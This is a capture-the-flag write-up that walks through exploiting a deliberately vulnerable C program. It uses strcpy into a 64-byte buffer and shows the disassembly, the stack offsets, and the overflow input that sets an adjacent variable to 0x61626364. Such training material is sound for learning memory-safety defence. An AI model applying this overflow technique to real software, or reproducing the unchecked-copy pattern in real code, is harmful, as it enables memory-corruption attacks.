Let’s start by looking at the source code of the challenge.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Firstly, we have a volatile int modified variable statement. This statement tells the compiler that it should not optimize it by any means. This means that this variable is open to modify somewhere else during the execution and the compiler is forced to reload the variable every time. Read more at Wikipedia.

After that we’re going to copy the contents of argv[1] into buffer. Notice how we’re using strcpy() function that won’t care about the size of the destination buffer, we can simply copy 1000 bytes into 64 bytes buffer resulting in buffer overflow. That’s why we should be using strncpy() function that takes another argument - number of bytes to copy.

In last section of code we have if(modified == 0x61626364). As the modified variable is equal to 0 we have to modify it with a previously detected buffer overflow vulnerability. But firstly, let’s take a look at the disassembly of this program.

0x08048464 <main+0>:	push   ebp
0x08048465 <main+1>:	mov    ebp,esp
0x08048467 <main+3>:	and    esp,0xfffffff0
->0x0804846a <main+6>:	sub    esp,0x60
0x0804846d <main+9>:	cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:	jne    0x8048487 <main+35>
0x08048473 <main+15>:	mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:	mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:	call   0x8048388 <[email protected]>
->0x08048487 <main+35>:	mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:	add    eax,0x4
0x08048495 <main+49>:	mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:	mov    DWORD PTR [esp+0x4],eax
->0x0804849b <main+55>:	lea    eax,[esp+0x1c]
0x0804849f <main+59>:	mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:	call   0x8048368 <[email protected]>
0x080484a7 <main+67>:	mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:	cmp    eax,0x61626364
0x080484b0 <main+76>:	jne    0x80484c0 <main+92>
0x080484b2 <main+78>:	mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:	call   0x8048398 <[email protected]>
0x080484be <main+90>:	jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:	mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:	mov    eax,0x80485f3
0x080484c9 <main+101>:	mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:	mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:	call   0x8048378 <[email protected]>
0x080484d5 <main+113>:	leave  
0x080484d6 <main+114>:	ret    

First thing what we can see is that in this line DWORD PTR [esp+0x5c],0x0, value 0x0 is moved into stack with offset 0x5c. That’s the modified variable. At the next arrow we can see lea eax,[esp+0x1c], so the variable passed to the parameter passed to the function strcpy() is located at esp plus offset 0x1c. That’s our buffer. We can also check that by substracting both addressed. The difference should be the size of buffer, so 64 bytes.

Let’s take a look at this simple stack representation, showing the local variables that are put onto the stack.

>>> 0x5c - 0x1c
64

Awesome Buffer Sketch

If we supply the program with number of elements smaller than 64, then it will run without smallest problem.

$ ./stack1 aaaa
Try again, you got 0x00000000

Awesome Buffer Sketch

But what will happen if we overflow the buffer with 2 ‘A’ letters bigger than the allocated size, so in this case 64 ‘A’ letters.

>>> 'A' * 66
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Try again, you got 0x00004141

As you can see, our modified variable gets overwritten as it’s the next variable on the stack.

Awesome Buffer Sketch

Now we have to make sure that this check modified == 0x61626364 is correct. Firstly let’s convert them to characters.

>>> chr(0x61) + chr(0x62) + chr(0x63) + chr(0x64)
'abcd'

But we have to remeber that values in memory are stored in little endian. Read more here. Basically we have to revert the values into dcba.

$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value